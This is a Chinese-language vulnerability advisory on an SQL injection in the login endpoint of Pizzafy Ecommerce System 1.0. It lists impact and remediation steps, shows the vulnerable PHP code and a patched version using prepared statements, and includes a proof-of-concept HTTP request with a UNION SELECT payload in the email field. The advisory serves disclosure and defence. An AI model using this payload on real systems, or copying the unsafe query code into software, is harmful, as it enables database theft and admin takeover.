# 漏洞总结:Pizzafy Ecommerce System 1.0 SQL注入漏洞 ## 漏洞概述 - **漏洞类型**:基于错误的SQL注入(Error-Based SQL Injection) - **严重程度**:HIGH - **受影响版本**:Pizzafy Ecommerce System 1.0 - **漏洞位置**:登录功能中的 `email` 参数未正确过滤,导致恶意SQL命令可注入后端数据库查询。 - **漏洞端点**:`/pizzafy/admin/ajax.php?action=login2` ## 影响范围 | 影响维度 | 描述 | |------------------|----------------------------------| | 机密性 | 完整数据库结构和用户凭证暴露 | | 完整性 | 未经授权删除或修改记录 | | 可用性 | 大规模删除导致服务不可用 | | 权限提升 | 通过会话数据劫持获得管理员权限 | ## 修复方案 1. **使用预处理语句**:采用参数化查询防止SQL注入。 2. **输入验证**:对 `email` 和 `password` 参数进行严格验证和过滤。 3. **数据库权限限制**:限制数据库用户权限,减少潜在损害。 4. **监控与日志**:跟踪并告警异常查询模式。 5. **安全测试**:定期渗透测试和代码审查。 6. **错误处理**:避免在响应中暴露数据库相关错误信息。 ## 漏洞代码(Vulnerable Code) ```php public function login2() { $username = isset($_POST['email']) ? $_POST['email'] : ''; $password = isset($_POST['password']) ? $_POST['password'] : ''; $sql = "SELECT * FROM user_info WHERE email = '$username'"; $qry = $this->conn->query($sql); if (!$qry) { return $this->conn->error; } if ($qry && $qry->num_rows > 0) { $row = $qry->fetch_assoc(); if (password_verify($password, $row['password'])) { $_SESSION['login_user_id'] = $row['user_id']; $_SESSION['login_first_name'] = $row['first_name']; $_SESSION['login_last_name'] = $row['last_name']; return 1; } return json_encode($row); } else { return 2; } } ``` ## 利用代码(POC) ```http POST /pizzafy/admin/ajax.php?action=login2 HTTP/1.1 Host: localhost Content-Length: 64 sec-ch-ua: Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 sec-ch-ua-platform: "" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/pizzafy/index.php Accept-Encoding: gzip, deflate Accept-Language: pt-BR,pt-BR;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=1fNk520basr12j78p8kcbg9d649 Connection: close email=3' union select 1,version(),database(),user(),5,6,7&23&password=teste ``` ## 修复后代码(Remediation) ```php public function login2() { $username = isset($_POST['email']) ? $_POST['email'] : ''; $password = isset($_POST['password']) ? $_POST['password'] : ''; $stmt = $this->conn->prepare("SELECT * FROM user_info WHERE email = ?"); $stmt->bind_param("s", $username); $stmt->execute(); $qry = $stmt->get_result(); if (!$qry) { return $this->conn->error; } if ($qry && $qry->num_rows > 0) { $row = $qry->fetch_assoc(); if (password_verify($password, $row['password'])) { $_SESSION['login_user_id'] = $row['user_id']; $_SESSION['login_first_name'] = $row['first_name']; $_SESSION['login_last_name'] = $row['last_name']; return 1; } } else { return 2; } } ```